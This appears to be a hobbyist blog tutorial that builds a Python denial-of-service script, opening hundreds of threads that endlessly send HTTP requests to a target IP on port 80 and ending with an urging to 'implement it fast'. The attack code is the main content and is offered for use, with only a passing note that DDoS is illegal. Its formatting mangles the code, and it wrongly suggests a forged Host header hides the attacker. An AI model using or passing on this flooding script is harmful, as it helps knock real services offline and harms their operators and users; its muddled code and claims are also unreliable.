**Making DDoS Script**

In today's post, we are going to make a DDoS script to make a system service unavailable. Basically, a Distributed Denial of Service (DDoS) attack is a method to make an internet system service unavailable by bombarding it with traffic from multiple resources.

DDOS is ofcourse illegal. Be careful with the target that you choose to DDoS. In this case, I am choosing the IP-address of my home router. We have a printer at our home, so we can try on that too, or maybe even your own website. If you don’t know your IP-address, you have to use the command line and ping the domain to get it. As a fake IP-address, I am choosing a random but still valid address. Without doing more blah blah, let's start...

We are going to make a python script for DDoS because in python it's quite simple. What we need is only to send requests to a host on a specific port over and over again(multiple requests). This task can be done with the help of sockets. Now, this procedure is slow, so to speed up the process and making it more effective, we will use multi-threading. So, get these libraries that will be needed for this tutorial:

import socket  
import threading

Now, we need the target’s IP-address, the port we are going to attack, and a fake IP-address that we are going to use. Note that faking an IP address doesn’t make you anonymous.

target = '10.0.0.138'  
fake\_ip = '182.21.20.32'  
port = 80

We are going to attack the port 80, which is HTTP. Now if you want to shut down a specific service, you must know at which port it is operating. Check out [this link](https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers), for reference. The next thing we need to do is implementing the actual attacking function.

def attack(): while True:  
s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  
s.connect((target, port))  
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) #write this carefully   
s.sendto(("Host: " + fake\_ip + "\r\n\r\n").encode('ascii'), (target, port)) #write this carefully   
s.close()

The attack function we made is the function that will be running in each of our individual threads. It will start an endless loop, within which it will create a socket, will connect to the target and will send an HTTP request over and over again. BUt, if you are attacking another port, then ofcourse you will have to change the type of request you send.

Here you can clearly see that we are injecting the fake IP-address into request. The request itself needs to be encoded into bytes so that it can be sent to the server successfully. At the end of every iteration, we will close our socket.

Now the last thing that we have to do is, run multiple threads which will execute this function at the same time. If we will just run the function, it may send a lot of requests over and over again but it will always be only one after the other. so, by using multi-threading, we can send many requests at once.

for i in range(500):  
thread = threading.Thread(target=attack)  
thread.start()

In this case, we are starting with 500 threads that will execute our function. You can set your own numbers. When we execute our script, the DDOS will be done but we won’t see anything. If you want to check nd verify your attack, you can print the amounts of requests already sent. But notice that this will slow down your attack.

attacking\_number = 0 def attack(): while True:  
s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  
s.connect((target, port))  
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) #write this carefully  
s.sendto(("Host: " + fake\_ip + "\r\n\r\n").encode('ascii'), (target, port)) global attacking\_number #write this carefully   
attacking\_number += 1 print(attacking\_number)  
  
s.close()

We created the variable *attacking\_number*that will track how many requests have been sent already. With every iteration, we will increase this number and may print it.

**And the script is completed, implement it fast!!!**